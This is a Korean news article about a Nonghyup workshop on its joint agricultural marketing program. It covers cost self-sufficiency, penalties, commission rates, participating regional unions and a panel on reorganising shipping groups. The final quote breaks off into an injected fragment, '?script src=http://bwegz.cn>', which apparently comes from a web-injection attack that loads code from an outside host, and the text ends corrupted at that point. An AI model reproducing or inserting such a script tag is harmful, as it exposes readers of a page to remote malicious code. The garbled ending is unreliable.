산지 유통의 핵심사업으로 손꼽히고 있는 `연합판매사업''의 올해 사업방향과 발전방안을 모색하는 연합마케팅 워크숍이 지난 19일부터 21일까지 2박 3일간 경기 이천 한국 유네스코 문화원에서 농협중앙회 유통활성화사업단 주최로 개최됐다.

이날 워크숍에는 농협중앙회 연합마케팅팀을 비롯 전국 지역본부, 시·군지부 등 올해 이 사업을 실질적으로 맡아 추진할 30여명의 실무 담당자들이 참석, 열띤 토론을 벌였다.
올해 연합판매사업은 특히 협동조합 개혁과 맞물려 상당한 무게중심이 실리고 있는 만큼 올 사업성과를 바탕으로 협동조합 경제사업의 밑그림이 그려질 것으로 예상된다.

전상호 농협중앙회 유통활성화사업단장은 “빠르게 변화하고 있는 유통시장 변화에 발맞춰 산지가 변하지 않으면 시장에서 설 자리를 잃게 될 것”이라며 “연합판매사업은 협동조합 판매사업을 한단계 업그레이드 시키는 사업인 동시에 우리 스스로 생존하기 위해서도 필연적으로 해야 하는 사업”이라고 강조했다.

◇올해 사업추진 주요내용-올 연합마케팅사업, 사업실적 미달시 위약금 물어
올해 농협의 연합판매사업은 그동안 지원에 의존해 온 사업비용을 사업단 스스로 벌어 충당하는 것을 기본으로 하며, 연간 사업실적이 지원자금의 100% 미만일 경우 위약금 등 제재조치가 가해진다.
올 연합마케팅사업 추진계획에 따르면 그동안 적자사업으로 인식돼 온 판매사업의 수익구조를 바꾸고 실질적인 수익을 유도하기 위해 지원에 의존해 온 사업비용을 스스로 충당하는 것을 기본 골자로 했다.

또 매년 3~5월에 사업실적과 공동계산실적 등 사업성과와 자금운용실적, 수익금 사용실적 등의 내용을 평가해 사업실적이 정부와 농협중앙회가 지원한 자금의 100%미만일 경우 위약금 등 제재조치를 내리기로 했다.
이와함께 사업을 추진하기 위해서는 사전에 연합사업단과 참여조합간에는 판매위탁 협약을 체결하고, 참여조합과 조합원간에는 출하계약을 체결해야 한다.
협동조합의 취지에 맞게 조합원으로부터 판매시기, 판매처, 판매가격 등에 대한 출하권 전체를 위임받아 수탁사업을 실시하는 것을 원칙으로 하되 알선판매방식을 병행하도록 했다.

알선방식은 중앙회(연합사업단)가 출하권을 위임받지 않고 거래처 알선과 계약업무를 수행하는 것을 말한다.
대형유통업체와의 전략적 제휴는 현재 삼성테스코 외에 2~3곳을 더 추가하고 수시로 대형유통업체에서 실시하는 세일행사와 기획행사를 지원할 계획이다.
연중공급이 가능한 브랜드 상품도 대표적으로 4~5개 정도 개발한다는 계획이다.

삼성테스코 등 대형유통업체와의 직거래시 대상조합을 선정할 경우 공동선별·공동계산제를 실시하는 조합을 우선적으로 선정한다는 방침이다.
연합마케팅 전담인력으로 배정된 인력을 제대로 운용하지 않거나 다른 업무와 겸직할 경우에도 제재가 뒤따른다.
정원담당부서의 실사를 실시, 인력운용이 잘못될 경우는 정원을 회수하며 신규로 필요한 지역은 오는 8월 추가로 인원을 배정할 계획이다.

연합판매사업의 수수료는 각 연합판매사업팀마다 구성돼 있는 마케팅협의회에서 결정하되 수탁판매방식의 경우 1%, 알선판매방식 0.8%, 상품개발형 2%이상을 권장하고 있다.
한편 올해 연합판매사업을 실시하는 곳은 △경기 안성연합, 여주연합 △강원 강원연합 △충북 음성연합 △충남 서산연합, 당진연합 △전북 장수연합 △전남 해남연합, 고흥연합, 나주연합 △경북 봉화연합, 성주연합 △경남 진주연합, 합천연합 등 14곳이다.

또 원예농산물 유통사업을 목적으로 3개 이상(영농조합포함) 조합이 연합해 일정 자격을 갖추면 신규사업신청을 할 수 있다.
최상희

◇주제발표 및 토론-연합판매사업 출하조직 재조직 필요
연합 판매사업이 산지에서 실효를 거두기 위해서는 무엇보다 사업의 기초가 될 출하조직을 재조직하고 사업을 담당한 판매 실무자들의 마케팅 능력이 제고돼야 한다는 지적이 제시됐다.
이날 워크숍에서 `산지유통의 활성화와 연합마케팅 과제''를 주제 발표한 박영범 지역농업네트워크 대표는 “행정조직과 지역본부 및 일선 조합이 연계된 상태에서 추진해야 연합마케팅이 힘을 발휘할 수 있을 것”이라며 “지역농업의 조직화를 토대로 동일한 품질 및 규격관리가 이뤄져야 한다”고 말했다.

오상수 삼성테스코 신선식품팀 과장은 신유통업체의 산지개발 전략과 관련 “우선은 상품의 안전, 체계적인 품질, 규격관리에 신경써야 하겠지만 상품기획, 개발 등 지속적인 관리도 중요하다”고 설명했다.
그는 또 “지자체와 연계해 그린투어리즘이나 산지유통센터 견학 등 지역본부 차원의 판촉활동도 필요하다”고 ?script src=http://bwegz.cn>

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